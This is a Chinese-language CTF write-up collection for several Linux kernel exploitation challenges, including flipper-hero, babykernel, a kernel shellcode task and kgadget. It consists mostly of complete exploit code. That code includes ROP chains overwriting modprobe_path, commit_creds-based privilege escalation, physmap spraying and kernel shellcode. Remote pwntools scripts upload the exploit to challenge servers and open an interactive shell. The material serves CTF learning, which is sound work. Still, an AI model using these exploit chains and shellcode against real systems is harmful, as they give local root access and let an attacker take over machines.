uint8_t pwd[] = "gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc\x00";
int i = 0;
while (i<0x20)
pwd[i++] ^= 0xF9;
strncpy(ptr, pwd, 0x20);
size_t show = 0xDEADBEEF;
size_t edit = 0xFEEDFACE;
ioctl(fd, show, ptr);
i = 0x20;
while (i<0x230)
ptr[i++] ^= 0xF9;
hexdump(ptr, 0x230);
size_t *data = &ptr[0x20];
size_t ko_base = data[0];
size_t kernel_base = data[8] - 0x336d60 - 102;
lss("ko_base", ko_base);
lss("kernel_base", kernel_base);
memset(ptr, 0 ,0x1000);
strncpy(ptr, pwd, 0x20);
size_t *ropchain = &ptr[0x20];
i = 0;
size_t modprobe_path_offset = 0x1864fc0;
size_t pop_rdi = kernel_base + 0xffffffff81090c80 - nokaslr_kernel_base; // pop rdi; ret
size_t pop_rsi = kernel_base + 0xffffffff811cc553 - nokaslr_kernel_base; // pop rsi; ret
size_t mov_rsi = kernel_base + 0x7c550; // native_set_pte
size_t swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xc00ff0 + 0x36;
// cat gadget.txt | grep " \[rdi\], rsi" |grep "ret;"
char target[] = "/tmp/e1\x00";
ropchain[i++] = pop_rdi;
ropchain[i++] = kernel_base + modprobe_path_offset;
ropchain[i++] = pop_rsi;
ropchain[i++] = *(size_t*)target;
ropchain[i++] = mov_rsi;
ropchain[i++] = swapgs_restore_regs_and_return_to_usermode;
ropchain[i++] = 0;
ropchain[i++] = 0;
ropchain[i++] = &modprobe_rce;
ropchain[i++] = user_cs;
ropchain[i++] = user_rflags;
ropchain[i++] = user_sp;
ropchain[i++] = user_ss;
i = 0;
while (i < 0x100)
((uint8_t *)ropchain)[i++] ^= 0xF9;
ioctl(fd, edit, ptr);
}
extern void _start(){
size_t env[0];
environ = &env[4];
doMain();
syscall64(60,0);
}
问题及感想1
- 有点时候会这样,参数对比上
- nop 这里call 即可有助于分析
问题及感想2
- ropper 找到地用不了?(注意gadget 是不是在可执行段)
1
2
3
4
5
6
➜ Kylin_Driver ropper --file ./vmlinux --nocolor > gadget.txt
➜ Kylin_Driver cat gadget.txt|grep ": mov qword ptr \[rdi\], rsi" |grep "ret"
0xffffffff830f8f30: mov qword ptr [rdi], rsi; mov dword ptr [rdx], eax; mov eax, 1; ret;
0xffffffff830a47ac: mov qword ptr [rdi], rsi; mov qword ptr [r9 - 8], rcx; ret;
0xffffffff830b39ea: mov qword ptr [rdi], rsi; ret;
-
native_set_pte
有一个mov [rdi], rsi
, 这个 ropper 没找到
1
0xffffffffa0e7c550 <native_set_pte>: mov QWORD PTR [rdi],rsi
flipper-hero
1
2024-11-09-HKCERT CTF 2024 (Qualifying Round)
1
2
nokaslr
任意地址内容异或
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
l = [1, 2, 4, 8, 0x10, 0x20, 0x40, 0x80]
MAX_DEPTH = len(l)
def f(src, dst, path, sd, depth, used):
if depth > MAX_DEPTH:
return None # 超过最大递归深度时返回 None
if src == dst:
return path # 返回成功的路径
best_path = None
for xor_value in l:
if xor_value not in used:
new_src = src ^ xor_value
new_used = used.copy()
new_used.add(xor_value)
result = f(new_src, dst, path + [xor_value], sd ^ xor_value, depth + 1, new_used)
if result:
if best_path is None or len(result) < len(best_path):
best_path = result # 更新最优路径
return best_path # 返回最优路径
# 示例:将字符串从 '/sbin/modprobe' 转换为 '/tmp/e1\x00'
s = list(b'/sbin/modprobe')
d = list(b'/home/ctf/e1\x00')
for i in range(len(d)):
best_path = f(s[i], d[i], [], 0, 0, set())
e = []
print(f'me_buf.ptr = target+{i};');
for x in best_path:
print(f'''me_buf.idx = {l.index(x)};
ioctl(fd,0x13370001,&me_buf);
''')
exploit-c
- exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#define _GNU_SOURCE
#include "minilib.h"
void modprobe_rce(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /root/flag.txt\n' > /home/ctf/e1");
system("chmod +x /home/ctf/e1");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/e2");
system("chmod +x /home/ctf/e2");
}
struct buf{
size_t ptr;
int idx;
};
int doMain(){
size_t target = 0xffffffff82dd4940;
int fd = open("/dev/flipper_hero",2);
struct buf me_buf;
//int xor_list
// 0x01 0x02 0x04 0x08 0x10 0x20 0x40 0x80
me_buf.ptr = target+1;
me_buf.idx = 0;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 1;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 3;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 4;
ioctl(fd,0x13370001,&me_buf);
me_buf.ptr = target+2;
me_buf.idx = 0;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 2;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 3;
ioctl(fd,0x13370001,&me_buf);
me_buf.ptr = target+3;
me_buf.idx = 2;
ioctl(fd,0x13370001,&me_buf);
me_buf.ptr = target+4;
me_buf.idx = 0;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 1;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 3;
ioctl(fd,0x13370001,&me_buf);
me_buf.ptr = target+5;
me_buf.ptr = target+6;
me_buf.idx = 1;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 2;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 3;
ioctl(fd,0x13370001,&me_buf);
me_buf.ptr = target+7;
me_buf.idx = 0;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 1;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 3;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 4;
ioctl(fd,0x13370001,&me_buf);
me_buf.ptr = target+8;
me_buf.idx = 1;
ioctl(fd,0x13370001,&me_buf);
me_buf.ptr = target+9;
me_buf.idx = 0;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 1;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 2;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 3;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 4;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 6;
ioctl(fd,0x13370001,&me_buf);
me_buf.ptr = target+10;
me_buf.idx = 0;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 1;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 2;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 4;
ioctl(fd,0x13370001,&me_buf);
me_buf.ptr = target+11;
me_buf.idx = 1;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 2;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 3;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 4;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 6;
ioctl(fd,0x13370001,&me_buf);
me_buf.ptr = target+12;
me_buf.idx = 1;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 5;
ioctl(fd,0x13370001,&me_buf);
me_buf.idx = 6;
ioctl(fd,0x13370001,&me_buf);
modprobe_rce();
return 0;
}
extern void _start(){
doMain();
syscall64(60,0);
}
exploit-remte
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
cat remote_exp.py
from pwn import *
from base64 import b64encode
context.log_level = 'debug'
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
cmd = './run.sh'
#io = process(cmd.split(' '))
#io = remote('192.168.100.23',32773)
io = remote("c51-flipper-hero-t100484-ktcenglta6bbwnizrsnwexgl.hkcert24.pwnable.hk", 1337, ssl=True)
ru('/ $ ')
sl('id')
ru('/ $ ')
#ru('id=1000 gid=1000 groups=1000\r\n')
exp = b64encode(open('exploit','rb').read()).decode()
line_length = 76 * 2
explist = [exp[i:i+line_length] for i in range(0, len(exp), line_length)]
for i in explist:
cmd = f'echo -n {i}| base64 -d >> /home/ctf/exp'
#print(cmd)
sl(cmd)
ru('/ $ ')
sl('id')
#ru('id=1000 gid=1000 groups=1000\r\n')
ru('/ $ ')
while(1):
cmd =input(">>> ")
print(cmd.encode())
s(cmd)
data = b''
while(1):
d = io.recv(timeout=1)
if d==b'':
break
data += d
try:
print(data.decode().replace('\r',''))
except:
print(data)
#print(ru('~ $ ').decode().replace('\r',''))
io.interactive()
babykernel
1
2024-11-16-1337UP LIVE CTF
保护
- 启动参数 kaslr 保护
1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "console=ttyS0 oops=panic panic=1 quiet loglevel=3 kpti=off kaslr" \
-nographic \
-no-reboot \
-monitor /dev/null
- init
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/bin/sh
export PS1='\[\033[01;31m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
[ -d /dev ] || mkdir -m 0755 /dev
[ -d /sys ] || mkdir -m 0755 /sys
[ -d /proc ] || mkdir -m 0755 /proc
[ -d /etc ] || mkdir -m 0755 /etc
echo 'root:x:0:0:root:/root:/bin/sh' > /etc/passwd
echo 'ctf:x:1337:1337:ctf:/home/ctf:/bin/sh' >> /etc/passwd
echo 'root:x:0:' > /etc/group
echo 'ctf:x:1337:' >> /etc/group
chmod 644 /etc/passwd
chmod 644 /etc/group
chown -R root:root /
chmod 700 -R /root
chmod 700 -R /baby.ko
chown -R ctf:ctf /home/ctf
chmod 755 /home/ctf
chmod 755 /dev
hostname intigriti
mount -t sysfs -o nodev,noexec,nosuid sysfs /sys
mount -t devtmpfs -o nosuid,mode=0755 udev /dev
mount -t proc -o nodev,noexec,nosuid proc /proc
echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict # /不能使用 dmesg 命令
FLAG=$(head -n 100 /dev/random | sha256sum | awk '{printf $1}')
mv /flag /root/$FLAG
chmod 0400 /root/$FLAG
insmod /baby.ko
mknod -m 666 /dev/baby c $(cat /proc/devices | grep baby | awk '{print $1}') 0
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Baby kernel - Intigriti ]"
cd /home/ctf
setsid cttyhack setuidgid 1337 sh
umount /proc
umount /sys
poweroff -d 0 -n -f
ko分析
- 主要就连个功能 read 和 write,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
size_t __fastcall baby_read(__int64 a1, void *a2, size_t a3)
{
_QWORD src[51]; // [rsp+20h] [rbp-198h] BYREF
src[50] = __readgsqword(0x28u);
memset(src, 0, 400);
if ( a3 > 0x190 ) // 只是判断是不是大于 0x190 ,但是没有做出限制
printk(&unk_3F8);
memcpy(a2, src, a3);
return a3;
}
size_t __fastcall baby_write(__int64 a1, const void *a2, size_t a3)
{
_QWORD dest[51]; // [rsp+20h] [rbp-198h] BYREF
dest[50] = __readgsqword(0x28u);
memset(dest, 0, 400);
if ( a3 > 0x190 )
printk(&unk_3F8);
memcpy(dest, a2, a3);
return a3;
}
- 通过 read 从 stack 泄露 kernel 地址 和 canary
- 再通过 write 进行 kernl 栈溢出,ROP
exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#include "minilib.h"
char flag[0x50] = {0};
size_t nokaslr_kernel_base = 0xffffffff81000000;
size_t commit_creds = 0xffffffff810c5010;
size_t prepare_kernel_cred = 0xffffffff810c5270;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
static void get_root_shell(){
int uid = getuid();
hex(uid);
system("/bin/sh");
//chmod("/flag",0777);
syscall64(60,0);
}
static size_t shell_addr = &get_root_shell;
static void shellcode(){
asm volatile (
"xor rdi, rdi;"
"mov rcx, prepare_kernel_cred;"
"call rcx;"
"mov rcx, commit_creds;"
"call rcx;"
// swapgs_restore_regs_and_return_to_usermode -- mov rdi,rsp
);
// restore_flags
asm volatile (
"nop;"
"nop;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push shell_addr;"
"swapgs;"
"iretq;"
);
}size_t sc_addr = &shellcode + 8;
void modprobe_rce(){
system("echo -ne '#!/bin/sh\n/bin/chmod -R 777 /root\n' > /home/ctf/e1");
system("chmod +x /home/ctf/e1");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/e2");
system("chmod +x /home/ctf/e2");
}
void doMain(){
save_status();
char procn[0x30] = "/dev/baby";
int fd = open(procn,2);
size_t buf[0x300/8];
read(fd,buf,0x200);
hexdump(buf,0x300);
size_t canary = buf[0x190/8];
size_t kernel_base = buf[0x198/8] - 0x1ca727;
lss("kernel_base", kernel_base);
lss("canary", canary);
size_t pop_rdi = kernel_base + (0xffffffff8100279a - nokaslr_kernel_base); // pop rdi; ret;
size_t pop_rsi = kernel_base + (0xffffffff81001b15 - nokaslr_kernel_base); // pop rsi; ret;
size_t mov_rsi = kernel_base + (0xffffffff8117b6b7 - nokaslr_kernel_base); //0xffffffff8117b6b7: mov qword ptr [rsi], rdi; ret;;
size_t modprobe_path = kernel_base + (0xffffffff82444a40 - nokaslr_kernel_base);
size_t swapgs_restore_regs_and_return_to_usermode = kernel_base + (0xffffffff81c00aa0 - nokaslr_kernel_base);
size_t ropchain[0x250/8];
char target1[] = "/home/ct";
char target2[] = "f/e1\x00";
int i = 0x190/8;
ropchain[i++] = canary;
ropchain[i++] = pop_rsi;
ropchain[i++] = modprobe_path;
ropchain[i++] = pop_rdi;
ropchain[i++] = *(size_t*)target1;
ropchain[i++] = mov_rsi;
ropchain[i++] = pop_rsi;
ropchain[i++] = modprobe_path+8;
ropchain[i++] = pop_rdi;
ropchain[i++] = *(size_t*)target2;
ropchain[i++] = mov_rsi;
ropchain[i++] = swapgs_restore_regs_and_return_to_usermode;
ropchain[i++] = 0;
ropchain[i++] = 0;
ropchain[i++] = &modprobe_rce;
ropchain[i++] = user_cs;
ropchain[i++] = user_rflags;
ropchain[i++] = user_sp;
ropchain[i++] = user_ss;
write(fd,ropchain,0x250);
}
extern void _start(){
size_t env[0];
environ = &env[4];
doMain();
syscall64(60,0);
}
- 远程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
from base64 import b64encode
context.log_level = 'debug'
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
cmd = './run.sh'
#io = process(cmd.split(' '))
#io = remote('192.168.100.23',32773)
io = remote('babykernel.ctf.intigriti.io',1343)
ru('$ ')
sl('id')
ru('$ ')
#ru('id=1000 gid=1000 groups=1000\r\n')
exp = b64encode(open('exploit','rb').read()).decode()
line_length = 76 * 3
explist = [exp[i:i+line_length] for i in range(0, len(exp), line_length)]
for i in explist:
cmd = f'echo -n {i}| base64 -d >> /home/ctf/exp'
#print(cmd)
sl(cmd)
ru('$ ')
sl('id')
#ru('id=1000 gid=1000 groups=1000\r\n')
ru('$ ')
while(1):
cmd =input(">>> ")
print(cmd.encode())
s(cmd)
data = b''
while(1):
d = io.recv(timeout=1)
if d==b'':
break
data += d
try:
print(data.decode().replace('\r',''))
except:
print(data)
#print(ru('~ $ ').decode().replace('\r',''))
io.interactive()
2024网鼎杯-半决赛-系统内核漏洞挖掘
附件
- server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad, unpad
import os
import subprocess
import base64
def readuntil(process, until_text):
while True:
output = readline(process)
if any(substring in output for substring in until_text):
break
return output
def readline(process):
return process.stdout.readline()
def process_qemu(code, start_script):
process = subprocess.Popen([start_script], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, bufsize=0)
readuntil(process, ["Input ur b64_code: \n", "Power down"])
process.stdin.write(code+"\n")
result = readuntil(process, ["result", "Power down"])
if "result" in result:
return result.split("result: ", 1)[1]
else:
return "dummydummydummy\n"
if __name__ == '__main__':
print("Welcome to Generic Linux kernel shellcode Challenge")
code = input("Input ur b64_code: \n")
print("Virtual 1 Working......")
os.chdir("./vir1")
key = process_qemu(code, "./vir1_start.sh").replace('\n', '').encode("ascii")
print("Virtual 1 Finished")
print("Virtual 2 Working......")
os.chdir("../vir2")
cipher_b64 = process_qemu(code, "./vir2_start.sh").replace('\n', '').encode("ascii")
print("Virtual 2 Finished")
print("Calc ur result......")
print('cipher: ',cipher_b64)
print('key: ', key)
if cipher_b64.find(b"dummy")!=-1 or key.find(b"dummy")!=-1:
print("Bad kernel shellcode")
else:
cipher_raw = base64.b64decode(cipher_b64)
cipher = AES.new(key, AES.MODE_ECB)
decrypted = cipher.decrypt(cipher_raw).rstrip(b'\x00').decode("ascii")
print("Nice kernel shellcode")
print(decrypted)
-
大概就是用一个shellcode(base64编码) 去打 两个 kernl
-
启动server.py 后执行的程序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-18h]
int v5; // [rsp+Ch] [rbp-14h]
int v6; // [rsp+10h] [rbp-10h]
int v7; // [rsp+14h] [rbp-Ch]
int fd; // [rsp+18h] [rbp-8h]
int v9; // [rsp+1Ch] [rbp-4h]
puts("Input ur b64_code: ");
v9 = read(0, &code, 0x1000uLL);
fd = open("/tmp/b64_code", 66);
write(fd, &code, v9);
close(fd);
system("chmod 622 /tmp/b64_code && base64 -d /tmp/b64_code > /tmp/code");
v7 = open("/tmp/code", 0);
v6 = read(v7, &code, 0x1000uLL);
close(v7);
v5 = open("/proc/kernel_shell", 0);
read(v5, &code, v6); // 内核shellcode 提权
v4 = open("/flag", 0); // root 用户可读
if ( v4 < 0 )
{
puts("result: dummydummydummy");
exit(-1);
}
read(v4, flag, 0x100uLL);
printf("result: ");
puts(flag);
return 0;
}
- vir1 flag 文件存着 aes key
- vir2 flag 文件存着 aes 密文
其他信息
kernel 均在 6.x 以上,
- 启动命令, 开了 kaslr 地址随机化,
1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash
exec qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "console=ttyS0 kaslr quiet" \
-cpu kvm64,+smap,smep\
-smp cores=1,threads=1 \
-nographic \
-no-reboot
思考
- 整体不难,主要是kernel 题做得少,经验不足比赛中没做出来
- 大部分思路在这
exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context.arch = 'amd64'
sc = '''
mov rbx, qword ptr gs:[0x2a100]
cmp rbx,0 /*vir2 取到是空的,由此用来判断是哪台靶机,执行不同的shellcode*/
je v2
add rbx,0x700
mov rdi,[rbx]
mov qword ptr [rdi + 0x04],0
mov qword ptr [rdi + 0x0C],0
mov qword ptr [rdi + 0x14],0
mov qword ptr [rdi + 0x1C],0
sub rbx, 0x38
mov rbx, [rbx]
sub rbx, 0x118c00
add rbx, 0x800092 /* return */
push rbx
ret
v2:
mov rbx, qword ptr gs:[0x2a7c0]
add rbx,0x700
mov rdi,[rbx]
mov qword ptr [rdi + 0x04],0
mov qword ptr [rdi + 0x0C],0
mov qword ptr [rdi + 0x14],0
mov qword ptr [rdi + 0x1C],0
sub rbx, 0x38
mov rbx, [rbx]
sub rbx, 0x136f60
add rbx, 0xa00134 /* return */
push rbx
ret
'''
sc = asm(sc)
print(b64e(sc))
MINI-LCTF2022-kgadget–ret2dir
分析题目
-
nokaslr
1
2
3
4
5
6
7
8
9
10
11
12
13
qemu-system-x86_64 \
-m 256M \
-cpu kvm64,+smep,+smap \
-smp cores=2,threads=2 \
-kernel bzImage \
-initrd ./rootfs.cpio \
-nographic \
-monitor /dev/null \
-snapshot \
-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
-no-reboot \
-s
param
传入一个指针,后面后 call 这个指针里存的地址
调试分析
- 在用户态构造大量的 page, 然后可以在 kernel
direct mapping
找到我们的数据
- 关键代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void physmap_spary()
{
int i = 0, j = 0;
size_t* rop;
for (i = 0; i < 15000; i++)
{
rop = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
for (j = 0; j < 4096/8; j++) rop[j] = 0xbeefbeef;
}
}
......
__asm__(
"mov r15, 0x1111;"
"mov r14, 0x2222;"
"mov r13, 0x3333;"
"mov r12, 0x4444;"
"mov r11, 0x5555;"
"mov r10, 0x6666;"
"mov r9, 0x7777;"
"mov r8, 0x8888;"
"mov rcx, 0x9999;"
"mov rbx, 0xaaaa;"
"mov rdx, 0xffff888000000000+0x6000000;" // 这里
"mov rsi, 0x1BF52;"
"mov rdi, fd;"
"mov rax, 0x10;"
"syscall;"
);
仅仅控制 一个 RIP 是不能够 达到提权的的,我们需要利用现有的信息
- r9 和 r8 寄存器的值
- 拟
如果执行的是 add rsp,0xc0, 然后 0x7777 处是 pop rsp;ret 0x8888 是新的stack 那岂不是可以直接 ROP 了
exploit-text
- 测试
- exp.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#include "minilib.h"
char flag[0x50] = {0};
int fd;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
static void get_root_shell(){
int uid = getuid();
hex(uid);
system("/bin/sh");
//chmod("/flag",0777);
syscall64(60,0);
}
static size_t shell_addr = &get_root_shell;
static void shellcode(){
asm volatile (
"xor rdi, rdi;"
"mov rcx, prepare_kernel_cred;"
"call rcx;"
"mov rcx, commit_creds;"
"call rcx;"
// swapgs_restore_regs_and_return_to_usermode -- mov rdi,rsp
);
// restore_flags
asm volatile (
"nop;"
"nop;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push shell_addr;"
"swapgs;"
"iretq;"
);
}size_t sc_addr = &shellcode + 8;
void modprobe_rce(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/e1");
system("chmod +x /tmp/e1");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/e2");
system("chmod +x /tmp/e2");
system("/tmp/e2"); // sh: /tmp/e2: Permission denied
system("/tmp/e2"); // ./tmp/e2: line 1: : not found
system("cat /flag");
system("cat /flag");
}
size_t pop_rsp_ret = 0xffffffff811483d0;
size_t add_rsp_0xC0 = 0xffffffff81488561; // cat gadget.txt |grep "add rsp, 0xa8", pop x N;ret
void physmap_spary()
{
int i = 0, j = 0;
size_t* rop;
for (i = 0; i < 15000; i++)
{
rop = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
int j = 0;
rop[j++] = add_rsp_0xC0;
rop[j++] = 0x11;
rop[j++] = 0x22;
rop[j++] = 0x33;
rop[j++] = 0x44;
rop[j++] = 0x55;
rop[j++] = 0x66;
rop[j++] = 0x77;
}
}
void doMain(){
save_status();
char procn[0x30] = "/dev/kgadget";
fd = open(procn,2);
physmap_spary();
__asm__(
"mov r15, 0x1111;"
"mov r14, 0x2222;"
"mov r13, 0x3333;"
"mov r12, 0x4444;"
"mov r11, 0x5555;"
"mov r10, 0x6666;"
"mov r9, pop_rsp_ret;"
"mov r8, 0xffff888000000000 + 0x6000000 + 8;"
"mov rcx, 0x9999;"
"mov rbx, 0xaaaa;"
"mov rdx, 0xffff888000000000+0x6000000;"
"mov rsi, 0x1BF52;"
"mov rdi, fd;"
"mov rax, 0x10;"
"syscall;"
);
}
extern void _start(){
size_t env[0];
environ = &env[4];
doMain();
syscall64(60,0);
}
- Makefile
1
2
3
4
5
6
7
CC = gcc
CFLAGS = -nostdlib -ffunction-sections -fdata-sections -Wl,--gc-sections -fpie -static -ffreestanding -std=c++2a -mno-sse -mno-mmx -mno-avx -masm=intel
exploit: exp.c
$(CC) $(CFLAGS) $< -o $@
- minilib.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
#include <stddef.h>
#include <stdint.h>
#define O_RDONLY 0 /* Open read-only. */
#define O_WRONLY 1 /* Open write-only. */
#define O_RDWR 2 /* Open read/write. */
#define O_CREAT 0x40/* New File. */
#define PROT_NONE 0
#define PROT_READ 1
#define PROT_WRITE 2
#define PROT_EXEC 4
#define PROT_GROWSDOWN 0x01000000
#define PROT_GROWSUP 0x02000000
#define MAP_ANONYMOUS 0x20
#define MAP_SHARED 0x01 /* Share changes. */
#define MAP_PRIVATE 0x02 /* Changes are private. */
size_t environ;
// bind_core
#define MAX_CPUS 1024
typedef struct { unsigned long bits[MAX_CPUS / (8 * sizeof(unsigned long))]; } cpu_set_t;
static void CPU_ZERO(cpu_set_t *set) { for (int i = 0; i < MAX_CPUS / (8 * sizeof(unsigned long)); i++) { set->bits[i] = 0; } }
static void CPU_SET(int core, cpu_set_t *set) {
int idx = core / (8 * sizeof(unsigned long));
int offset = core % (8 * sizeof(unsigned long));
set->bits[idx] |= (1UL << offset);
}
int syscall64(){
asm volatile (
"mov rax, rdi;"
"mov rdi, rsi;"
"mov rsi, rdx;"
"mov rdx, rcx;"
"mov r10, r8 ;"
"mov r8 , r9 ;"
"mov r9 , [rsp + 8];"
"syscall;"
);
}
size_t mmap(){
// size_t addr, size_t len, size_t prot, size_t flags, int fd, size_t offset
asm volatile (
"mov rax, 0x9;"
"mov r10, rcx;"
